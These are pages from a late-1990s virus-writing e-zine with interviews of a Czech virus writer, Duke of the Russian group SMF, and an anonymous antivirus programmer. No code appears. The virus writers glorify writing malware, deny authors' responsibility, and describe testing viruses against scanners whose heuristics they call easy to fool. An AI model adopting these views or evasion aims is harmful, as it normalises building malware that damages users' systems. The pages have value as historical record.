Did you ever meet someone from the scene in person (e.g. on the scene meet last summer) If so, howlooks the meet like?

I didn't meat any VXer, but I will - this summer in Amsterdam.

What can you tell us about local Czech virus scene?

Hmm, not much. I think, there ain't any VX scene in czech republic. Many ppl may remember virusessuch as Halloween, Raptor, Semtex, etc. That time, when there weren't any Windozes, czech was fullof VX writers. Now, I don't know any ppl from Czech Republic, which is interested in Win viriis. That's apity. Our ppl r full of potential and entusiasm...

Now the same question, but the Dark side of the force - Czech AV producents - how are the products,are they worth of testing against new viruses etc ...

I don't like czech AV products very much. I know, that czech AVAST! is the best scanner in the world.AVAST! reached 100% border in Virus Bulettin as the first scanner in the world. But AVAST!, over100% virus detection hasn't any heuristix, so I don't like it very much. Same as czech AVG. AVG hasheuristix for DOS files, but still not for Win32 files. That's baaaad. But let's wait... we will c...

Yeah, when I gave to one czech AV firm pattern of Win98.Milennium, they said, there ain't any viriis.When I asked them, on which OS they tested it, they said: "Win95". I said, it is Win98 specific virus andthey replied: "hmmm, maybe." Ignorants!

Page 378: EZine - Asterix #2

Once, you told you know some AVG ppl, how is(are) the person(s) like?

Yeah, I know them, but I don't wanna explain here detaills, becoz they would have some problems withit. Some other AV firm could say, they have contact with VX ppl and that could be big pain for Grisoft.There ain't any contact, but however, ppl r jerx. Yeah, they have very nice secretaries (really! X-D) andthose ppl r very, very smart. But similarly as other AVerz, they say we VXerz r only kids without anymorals. But that is only their problem, rite? Nevertheless, I must say, that ppl from Grisoft r really verysmart. No doubt!

Now, let's discuss some vx technologies, what do you think about use and perspectives of stealth,polymorphism, viruses under "other" operating systems ...

New operating systems, more holes, new/more places for viruses, new techs, etc. Viruses will stay withus. We will find new techniques for our babes, new ways for hidin' them, new targets to infect, etc.Now, it seems it will be metamorphism. What will be next? Who knows...

What do you think about payloads in viruses and especially the destructive ones?

Payload is the only thing, that should be visible to user. It's the way, how to show user virus presency.But destructive payloads, they r all lame. Many users will have problems with it and many AVs will rigmoney only becoz of some lammer. We will be more "persecuted" and we will have more and moreproblems. Destructivity ain't product of smart ppl.

Your opinion to the topic macroviruses and their perspectives:

When I tried to code macrovirus for WinWord97, I did it in a minute. Macrovirus can be beginnin', butcodin' it is too much easy for ppl, which can do more than click and create. Normal viruses has morechances to be spreaded out than macroviruses. Computer can run without editor, but not without OS.However, I think macroviruses r still very perspective.

Are there some people from the vx & av scene you would like to meet in person?

I would like to meet every good VXer & AVer, whoever he is. I don't wanna say names here, becoz Iwould forget someone...

What do you think about the manics who want to prosecute virus writers?

They r rite. I know, that modifyin'/deletin' valueable data ain't rite way, how to show what is inside ofme, but, but ...ehrm, ...but... I like taste of fame. Who not? X-D

Your relationship to beer, girls, inline skating and other important things:

Beer is da best thing in da world. Mmm, I can say, that I'm alcoholic, becoz I usualy drink 3, sometimesmore litters per week. And, have I ever said u, that 50% of my work was written, when I was drunk? X-D No lie! Girls r something the most weird thing in da world. Who can understand them?

Favourite meal, drink, band, pub and the rest of the small joys of life:

I have many favourite meals, such as grill chix, pizza, hamburgers and so on. My favourite drink is beerand juice. Music, music is one of my most favourite things. And becoz I'm very weird human, I like bothof light pop (e.g. ABBA) and hard rock (Lucie, Black Sabath, ...), sometimes I like also metal (Marilyn

Page 379: EZine - Asterix #2

Manson). I like groups, which plays their own style. I like originality and I hate commerce. When thereis group, which plays only for money, it ain't good band. And if there is group, which plays originaly andplays its own style, I can always find something great in it. What I like is oldies, becoz they played theirown style, they had been originaly and they didn't play only for money. My favourite pub? Hahaha, I would be very silly, if I would tell ya it. Sorry. But I can say, that I loveevery pub, where I can find any czech beer. My last <drug>, which I use is nikotin. Yeah, I smoke cigs. I try to stop that money washin', but it's toohard for me X-D. Sometimes, I have a joint with my friends, but it's not very regulary.

Everyone today surfs the internet. Let's see someone of your favourites places on the web:

Hmmm, it's hard and I know I will forget some URLs for sure, but here r some URLs, I use regulary andI like them...

http://www.29a.net/ - page of da best VX grouphttp://post.cz/ - post server I usehttp://www.virusexchange.org/vtc/ - VB's site. Tons of materials for VXerzhttp://www.virusexchange.org/nop/ - Virogen's site, everything u want is therehttp://www.microsoft.com/ - when I wanna laughand my page, ofcoz X-D

Do you have webpage? If so, where is the page to find?

Sure I have. Informations there r usualy 2 months old and in internet, u can find tons of pages, which rabsolutly better than mine. However, I like it and I'm proud for my Java: http://benny29a.cjb.net/

What about you plans for the future as coder and in general?

Hmm, I don't know, what will I do in the future. I know, that viriis r something, which I understand moreas anything other. Maybe, I will be next AVer, in the future. I know, u will hate me, but what other Iwould like to do more than work with viriis. Other plans r very unbright. I would like to study university,but I know I'm not so smart. Well, I hope I will do something, I will really like.

Thanx for givin' me place for talkin' about myself and I hope u weren't bored. See ya sometimes,somewhere...

Page 380: EZine - Asterix #2

We are glad to present something really unusual - interview with a man from antivirus company who agreedto have a talk (many of them didn't) about viruses, life, universe and everything. But we agreed about hisanonymity and we will respect it, of course. This interview is really good experience, so don't wait and goahead!

hello, we are glad you said yes to our request for interview

sure, no prob, but i want to stay unknown - you surelly can guess the reasons why :) it is not usual onefrom antivirus side giving interview to other side

what is the reason you said yes? usually avers ignore our requests or say no

we have of course access to nearly all zines released on v-scene, because one have to watch for them- to keep track of new technologies and of course i've also seen your previous issue, that was prettylong time ago, and it was rather good. you are taking your job quite professionally

how long are you in the biz?

i started with viruses, let me think, some 11 years ago. my first XT played sometimes, usualy at 5o'clock some mellody. of course, it was yankee doodle. after that, i discovered viruses and started tocolect and analyze them, being amazed what they can do. i worked already in assembler on myprevious computers, so i easily learned PC specific things - from tech-help, but i also found manyincompatibilities in it... after that, i wrote some single-purpose antiviruses, and, of course, started towork on a real antivirus.

he-he, i think viruses started with you and not you with them

well, that's what it may look like. i've heard about viruses also before, but never could get one. onlywhen some virus got directly to me :-O

okay, from the very beginning on the good and right side ...

well, there are many losers on av-side (i will not name them, but one knows them all) that think theyare the only good side, and virus writers are the bad side which should be put into jail. they simply donot THINK. usually, good virus writers are better than many anti-virus writers. but there are too fewgood virus writers on the scene as well as there are too few really good antivirus writers. i don't likewords that many avers pronounce in hate about every virus writer is an evil. some avers must say sobecause they can't say anything different (due to their policy and marketing) but they think differently -like I present it here but many avers, usualy the worse ones, hate you. because there is too much ofwork due to you.. they often forget they are making big money in many cases exactly due to you...

your got the point, averz are making money of the scene, wanna support our site with a bit of money?

Page 381: EZine - Asterix #2

:))) not at all. noone wants, of course, just because there are too many viruses every day, and it costs lots of timeand money to prepare scan-strings (and optionally cleaning routines) for all of them usualy we are a bitlate to do so. so we don't have any reason to support you.

let's be serious again. you were speaking of the av lamers. i agree there is a lot of av pussies aroundwho are dumb asses. Any comments to the datafellows story last week?

{put a link to the news here} well, i would not like to use such strong words. i can tell you a situationwhich is usual, and of course similar is in our company: team of av programmers NEVER uses avprograms. :at first they are too lazy, and they are also a well trained to work with viruses during theyears. one can immediately notice nearly any virus activity. for example i've seen several thousands ofviruses (in debugger, or in disassm) but of course, we use real samples - for example we have severalten-thousands of real infected programs to test our work. and sometimes accidents also happen: forexample i remember a case one of programmers in our team accidentaly ran one virus. and he infectedtwo computers this way and part of our virus collection.and back to datafellows: i can see two reasons - they tested it (i don't think so), or someone like asecretary started this infection by running vbscript in mailer. you must understand this: in av companiesnot only av programmers are working. it is weird if they used their own virus protection on theirexchange server why it happened: it was either disabled, or not fully functional. there are sometimesbugs in av technologies as well - like very common were bugs in OLE2 scanners with two-levelfragmented macros.

you said you are about 11 years working with viruses. your first av were single purpose. What virusesthe detected-removed?

don't remember exactly... some trivial ones, boot, com/exe - those what was hot. and a few years later iexperienced the polymorphic as well - with world famouse MtE, of course... it is pretty old now, but stillone of the best

MtE was imho big shock for AV industry, i know there were companies who were unable to reach 100%detection for couple of months...

MtE was new and different. it was real breaktrough that forced us to change lots of our routines. thereweren't any similar breakthroughs ever since as i remember (no virus that changed principles and wasfollowed by hundreds and thousands of others)

yes, good detection takes many months, even as it was pretty discussed on virus-l and others.everyone knows it, but many lame-like antiviruses weren't able to write detection routines. it filtered outthe really bad antiviruses, or they have to adapt. it also causes a big reconstruction of all antivirusengines to nowadays state.

and any other major changes since the MtE? what about the number of viruses?

revolutionary changes? not exactly. OLE2 is a big change, but it is completely different filetarget. it wasalso difficult because microsoft has usual reaction for publishing ole2 structure: "you don't need to knowit (ole2 document structure, or 'structured filesystem'), it is our internal format, use function available inour libs" - but it is of course not enough for scanning for macros.also there were other viruses that changed the things, but didn't become trends - they can be detectedby some other tricks so no need to rewrite scanning engines again completely.

Page 382: EZine - Asterix #2

well back to you. probably you joinned to some Av company or maybe you own one of them ...

:) ok, no comment about that. you can agree, i (and av company i'm from) wanted to stay anonymous.but yes, i work for a av company, on some rather high job position but sill in av-coders team, of course.i don't like managers :)

as aver you have to know the news from the virus scene. how you get on the news and new theviruses?

we, i think, are best virus traders all around the world. if a new virus appear in one av company, it canvery soon reach others. but: many guys on av scene (exactly the types i don't like) are egoistics, etcand they don't want to trated with XY because of something in a past, and XY don't talk with ZWbecause of ... etc, etc. but if some of them have something interesting, something new, and anotherone has something good as well, they can make an xchange bussiness even if they hate each other.this way viruses travel all around the world. there are many viruses that are only in those virus collections. many of them never appear in real life :)its a strange av-world of shadows, hate and bussiness.

this way we also have all virus zines, etc. and of course, we have access to the virus-oriented BBS'(but they disappeared already) and to the internet sites. but there aren't many good virus-oriented siteson the internet. the rare exception, and today's hottest is, of course, yours.

today's trend in AV world is the buy_them_all policy of some companies. Your opinion?

you are right. now i will name some, because all it is known, so there is nothing to hide. NAI (oldMcAffee) whose original scanner missed the train to the future and wasn't able to follow the changesthat other antiviruses had to do, is now buying every good piece of code because NAI wants to be stillin the bussiness. there's nothing just a money behind it. its rather pitty, but true. same as microsoft -Money is power.maybe once there'll be only one total antivirus (or speaking more general a protective system), and allgood programmers from the world who work on their own avirs now will be programming that.it is good and not at the same: there is a monoppoly and might be no progress due to it. but if many avprogrammers can join their experiences and work together, they can do another breakthrough on theantivirus side. but the future waits for us, we'll see...

how is it to handle such a great number of viruses in a brief time. What is your opinion to the term "glut"introduced by bontchev?

it is often too difficult. and leads us not to do our work as good as we can. there are too many viruses,many of them are similar ones to another. we have a quite little team, and not enough time to checkthem all. usual situation is we get a package of new viruses, and there is need to process them: we runours and other antiviruses to categorize them. there are offen viruses that we already have, or verymuch of damaged viruses, etc (like virus that differs from original (dos example) only by int3immediately after writting command int21 - someone stupid traced it and debuger left there breakpointat write command. it is pure shit, but you have to scan for it. so briefly check what is rubbish and what isnot, and choose scan-strings for those needed to be caught. and the work is done. there is not usualytime for analyzis we do it only for some important viruses. even for cleaning it is enough to have a brieflook on the virus - because most of them are very simmilar

little team? if i read the websites, there is always number of the employees on it, and every companyclaims they have at least 40 or 50 of them or NAI has hundreds of experts ....

Page 383: EZine - Asterix #2

they are kidding. sure, there are many people employed, you need some secretaries, some managers, somebussinessmans/reseller, etc, some supporting guys but real programmers, that do real work - there areusualy too few of them. moreover, you can't find let's say 40 people that really know their job (av). i think there are about 15-25on the whole world! the rest are supporting programmers - they can do some easier disassemblies,some cleaning routines, or pick scanstrings, if you teach them how to do it. of course they need toknow asm and system programming at suitable level. but real developers, there are usualy few of themin the teams. they are head of antivirus companies, in fact but not beeing seen (in most cases).

too little number of programmers, so why then not to hire some vx-writers to fill the vacancies?

it is not applicableat first, vx programmers are usualy kids (or likely - studying on the highschool or university), and whenthey get into the real life, they have no more time to write viruses.. they need to have real jobs.moreover, it is not applicable to employ some vx-writer due to reputation. if some other company hearsabout it, they'll immediately publish it and destroy the company that employed such a programmer.thats the regular bussiness game so there is no way to employ some active or oneone who was a vx-writer even if you know him and you can trust him

AV programmers must be then poor exhausted individuals with no time. do they have a free time?

we are people too :) there is time to play quake or doom, time to go for a drink, and of course lots oftime for programming. but i think situation is similar as for others programmers: they usualy live insome different computer world of screen, keyboard, quake, junk-food, pizza, and debugers. you surelyknow

most valuable in the AV side is the Virus Bulletin award. any specialities bound with deadlines?

well there is always big plus when a company can issue a press release with something like "hicustomer, we are good, even virus bulletin was forced to acknowledge it ..." as for programmers itmeans nothing but feeling you do your work well (plus bonuses), the sales department is more extaticthan we are. with deadlines it's always a problem - you can't do the work you planned in time - youknow murphy was imho too optimistic you can do the work you had to but then it doesn't work okay or itcould work okay but you never to it in time. also, as i already mentioned, there are many shits in lots of virus collections. well, VB is rare exceptionwhere all samples are more-less functional, but many av companies do not throw away thosecorrupted files and judges antiviruses also on those non-functional samples. because there is no wayto test them all if they work, even more, virus might not be operational on your current PC any more...this selection is very hard.

do you thing you'll earn your money from viruses all the live long?

progress in computers is really fast. noone can say if viruses will be here in 10 years. may be in globalcyberspace will be as good protection as no viruses or worms ar whatever can live there, or we willhave neural systems, or... have you read neuromancer? ;)

i also can't asnwer if we can stand the AV vs V competition within next few years. but i believe we can,we are i think one of the best.... and even more - may be sometime all we will be in NAI... ;-)))

Page 384: EZine - Asterix #2

let's discuss the techonoly of the AV programs, can you give brief chacteristics of some products?

we watch also for others, that's right, but it is difficult to see inside the other programs. i would like notto point out good or bad ones. its kind of ethics and bussiness.

so let's be more general, kind of technological overview - technologies, strong and weak spots

there are several groups, lets start with dos (com/exe/boot) - usualy regular scanstrings are used,might be enhanced by crcs or so, with a specialized subroutines for non-trivial things (some hard poly,etc), of course some kind of generic decryption engine or emuler is also important. for windows it is very simmilar, only loaders are different, and there are lotsa problems with emulationas well. finally ole2 - one needs to know structure, then it is simple - most of macros are unencrypted, just asimple scanstrings are enough.

... that's just briefly. but you told me already you'll have also a dedicated article (or articles?) to thesedescriptions. don't know about their quality, but to explain all the things there is not enought space inone interview... but you can ask me some details, if you want. (may be i can/will answer, if it is not oneof our secret things ;)

to the tool, what kind of tools you use debug-progs etc?

the best i'm familliar with is turbo-debugger. it is not the best, but i used it in a past and as well as now.another coder in our team is for example using afdpro :) (if you remember it) of course, we have soft-ice and soft-ice/win for windows viruses. and we uses IDA (interactivedisassembler) for analyzis. i think it is best one. plus of course hiew for brief look-around, and someour secret tools as well :))

now i'd like to put some personal question favorite movie, music, film, computer came etc

i like starwars. its fundamental sci-fi movie. i like science fiction, having hundreds of sci-fi books... music: 80's, preferably, but not excluding house (right now i'm listening some Scooter's), as well asbeethoven. must be good. and i'm not playing a computer games. not enought time, usualy. i've freezed somewhere at quaketime, now playing only to relax a networked quake :)

well thanx for your effort, was nice to talk you and send us some insider info we can do use of on thestock market :P

was nice to talk with you too, wish you will success. well, it might be a some more work for us,however, its always nice to see a good work. bye and keep not writing viruses :)

hehe i'll try it

Page 385: EZine - Asterix #2

Russia is a big unexplored world of virus writers who do not often become known on public but produce areasonable things. One of those you can meet on internet is Duke of SMF.

Who are you, where are you from and other personal stuff ...

Huh... I'm russian boy. I love techno, rave and much more. I do not care what type of music it is - if i likethe music i hear it. Not less than misic i like chicks. I do not have in my head some specific type of girl,no i prefer different and definately lot of chick ;-POther time, i am sick of all the above things - then i sit to code viruses.

How did you get into computers?

About 2.5 years ago (fall 1997) i got computer. in the very beggining i cant handle with it, then i startedto play computer games. It was fun but not very usefull. After a half year i told to myself - stop ! It's timeto do more serious things - and so i started learn programming. And in fall 1998 myself and GorLuM(friend of mine) decided to found cracking group SMF

Why did you start be interested in viruses?

2 years ago friend's computer has been infected by One Half and there was shitload of seriousinformations on the hard disk. He asked me to help him with removing the virus cos DrWeb was notable to do it (but i did it).Since then i was keen on viruses. In the biginning with the cleaning and fighting with then, the i startedto collect the virii. And in august 1998 (year ago!!!) i coded my first viruses (HLLP & BAT).

Was you PC infected by some virus (besides your own)?

Yup :) when i run it. I test some viruses (Nutcracker, for example) and infect my home PC with them.

What programming languages can you use?

Pascal/Batch/WordBasic/Visual Basic/Windows Interface Language/Delphi, few asm, and manyscripts... I am also familiar with bunch of scripts but i don't remember all the names ;-))) LOL

What's your favourite programming language and why?

I like pascal, coz it's very easy language. Also i like Visual (Virusal ;-) Basic , coz many types of viriicoded in VB (Word97, Excel97, VBS, HTML).

How did you get into vx comunity?

It was quit late. From the very beginning i knew there is a "virus scene:, but i have no clue where i canmeet people with equal intereses. I didn't have access to the internet in dat time. And in the world-wide

Page 386: EZine - Asterix #2

scene i join jumped in the end of 1998 ...

What can you tell us about your first virus?

My first virus.... Long time ago ... ;-) First virus was BAT-worm, very simple and lame. After that i wrotecouple of parasitic HLLP virii, so begun it all :)

And the sure followed next pieces from your workshop. Tell us more about them.

New projects ? DVL #9 and couple of original viruses.

What your best virus you have ever written and what features it has?

I don't know ... I have a lot of ideas but i fail in some cases to realise them. What should be I proud of ?Well I wrote first-in-the-world poly engine in Pascal. Before me no one did try it. I succeeded inbringing the attention of russian virus scene to Pascal language. I am happy I have found people whowill follow and extend my work. I 've also coded smalest viruses in the world (Parasitic, Companion,Overwrite) I like my demo-virii, demonstrating code optimisation (for example Companion.38 andsource code infector HLLP.Duke).

What's the history of SMF (what the hell should SMF mean), who's was the original idea of foundingSMF and who is member?

Group SMF has been found in fall 1998 by me and GorLuM`om to write cracks, demos and tools. After istarted with viruses (after DVL #2) pissed GorLuM left the group. That dudes who were interested invirii did not left :) Now SMF members are Duke, SMT, Voodoo, CyberShadow. Also we have somecandidates to join. And... SMF = Super Malware Force.

Has DVL and you something common?

Of course ;-))))))))))))) DVL it's Duke's Virus Labs. In the very begining SMF was cracking group andonly I was interesting in viruses. I wrote couple of viruses and articles and i had to release in somekindof magazine (first number i finished long time ago and it was, let's say very primitive). And the name iselected was quit simple - Duke's Virus Labs. Later in SMF appeared another virus writing member andtogether we started issuing zine. Now the number of the authors is higher than ever before a the zine ismore professional. But in genelar - DVL is part of SMF group.

Most important technological advances in virus writing in your opinion?

Multiparition and polymorphism

In the history of the virus writing community, there was thousands of viruses, some of them elite, otherabsolute crap. What's your personal TOP 5 of viruses and why?

1. Win95.SK - many new ideas, techniques and futures!!!2. Nutcracker family - very intresting and hard virii3. Macro.Word97.Melissa - it's revolution in net-worms!4. MtE - first polyengine5. OneHalf - one of popular russian virii.

[duke is off the way here - one half is genuine slovak product, but at least one version has beenpatched in russia]

Page 387: EZine - Asterix #2

The same as for viruses can be applied to antivirus software (but they are here not thounsands but insome couple of dozens exmplares). Your personal TOP five of anvirus packages and reason(s) why:

1. AVP - has big AV base, but there re poor in working with sigratures. Excellent heuristic for trivialvirii ;)

2. F-Prot - lot of virii in database, but uncorrect signatures.3. DrWeb - russian AV, very good heuristic analiser for macro/win32 virii easy to fool4. NOD - excellent heuristic for macro virii, but not good for DOS-virii5. As macro antivirus excellent HMVS AV.

What do you think about AV people ?

They are simly doing they job - making some money for their families - and not too bad at all. It is bigbussiness. But some of them are starting to take care of virus writers and they try to threat them. Andthis is not good anymore ...

It's posssible to meet you on IRC? What's your favourite channel?

Yes :) Almost daily i am on IRC at channels #vir, #virus and #SMF. SMF group have official channel#SMF and... it's my favourite channel ;)

Did you ever meet someone from the scene in person (e.g. on the scene meet last summer) If so, howlooks the meet like?

I met only some of the members;) But i would like to meet lot of virus writers - if they invite me to betheir guest ;-)))

What can you tell us about russian virus scene? We would like to see here quit detailed description(groups, peoples etc)...

Russian scene is not only about viruses. I'd rather call it ex-USSR scene because we keep therelationships with former parts of the union.The oldest and most known group of russian scene is Stealth Group (ex-SGWW). Stealth Group seemto be chimera for many beginning virus writers.In the last time its activity has been reduced, they do not have site and for long time another issue ofIV-offline has not been released.Zine Moon Bug, released by RedArc (ex-TAVC group) maybe will end its existence due the factRedArc is very bussy man. Now is work on #11 progress (already released now)Group SPS releases LMD (Lamerz Must Die) zine. They are group of professionals from Belorussia,but the zine is released on very irregular base and it is difficult to find (at least for me).Group HAZARD Team from Ukraina is one of the most progressive. Its member Deviator is author ofvery interesting viruses. I am very happy he cooperates with DVL.Recently founded group Misdirected Youth from Moscow prepares release of the first issue of theirmag. Their work has been started by couple of articles in Moon Bug #10. This group can be new pn thescene, but the members are old warriors of the virus scene.Russian virus scene includes groups like CiD, SOS and such a famous vx personalities as SSR,Z0MBiE, ULTRAS, Crkv, 2b and bunch of others. Russian scene is very very large and russians arewriting tons of viruses every month.

In the Russia, there are several companies writing AV programs. What programs they produce and

Page 388: EZine - Asterix #2

what are the features of them.

Kaspersky Lab produces whole pack of antiviruses AVP (for DOS, Win32, OS/2, Linux, Novell;scanners, revisor, monitor). They differs, but in general they put there everithing which cames. Verybad macro heuristic.Dialogue Science produces DrWeb (scanners for DOS, DOS32, Win32; monitor) revisor ADINF (DOS,Win32), ADINF Cure Module. Version for Linux and OS/2 they do not have :(( Heuristic is excellent,which causes many fixes in virii during coding; but heuristic 4 Win32 and macro virii can be fooled,under DOS - very easy to fool

What's your favorite AV program and why ? And what Av programs do you use to test your newest virii?

I'm use AVP, coz i am virii collector. I test my new virii with AVp, DrWeb, HMVS.

Now, let's discuss some vx technologies, what do you think about use and perspectives of stealth,polymorphism, viruses under "other" operating systems ...

Good Stealth in Win9x - it's RING0 ;-P However I think it is important not to create hardly-detectableviruses but hardly-removable instead. (like Win95.SK)I would like to point that poly for Win32 has to be widely developed. And last but not least - all the oseshave to be defeated :))))

What do you think about payloads in viruses and especially the destructive ones?

Payloads manifests the viruses. If i write virus there is no place for payload in the code. If you want todemonstate what do you want, it's better to write another virus (e.g. my Smoller) - in order the payloadwouldn't put shadow on some brilliant virus idea.As for destructive payloads i accept it but do not have the need to misuse/implement them. Better is toset its activation to certain date and not to rely on random numbers.

Your opinion to the topic macroviruses and their perspectives:

I forecast macroviruses for new platforms. Office macroviruses spread very fast and they re responsiblefor a great proportion of infections. Therefore future belongs to macroviruses. They mutate very easy,can carry various files (viruses for DOS and Win), they easily spread accross the internet (stillremember Melissa?).

Are there some people from the vx & av scene you would like to meet in person?

AV : D. Lozinsky, Lubos Vrtik, Ralph RothVX : Darkman, Knowdeth, LovinGOD, RedArc, Deviator

What do you think about the manics who want to prosecute virus writers?

It's stupid mans ! Author aren't guilty - people who run viruses are. Kalashnikov is not guilty of his AK-47 daily kills tens of peoples - it 'd be so absurd...!!!

Your relationship to beer, girls, inline skating and other important things:

Yea! Without lot of words - these are veryy serious things ! As for beer i am "bezrazlichen", as forgirls.... well, you already know :))))

Page 389: EZine - Asterix #2

Favourite meal, drink, band, pub and the rest of the small joys of life:

meal - sandwichdrink - Coca-Cola ;-P~~~band - ohh... too many ! E-Rotic and Bad Boys Blue for example.pub - "MustDie" ;-))))

Everyone today surfs the internet. Let's see someone of your favourites places on the web:

http://www.hotmail.com :))))http://www.avp.ch/avpveNoMercy's page (now closed :((( ???)

Do you have webpage ? If so, where is the page to find?

http://www.chat.ru/~dvlabs - official page of DVL e-zine (virii, VX tools, virus trading and VX news)http://www.chat.ru/~smf - official page of SMF group (cracks, demos, tools)

What about you plans for the future as coder and in general?

I prepare contributions for DVL #9 and couple of other zines. And i am going to take half year holliday -without viruses - i wanna to pick up some chicks :-)

And i want to say some greetz! To:mgl - for this interview :)all my collegue from DVL - keep in touch !all SMF members and all ppl on virus scene !!!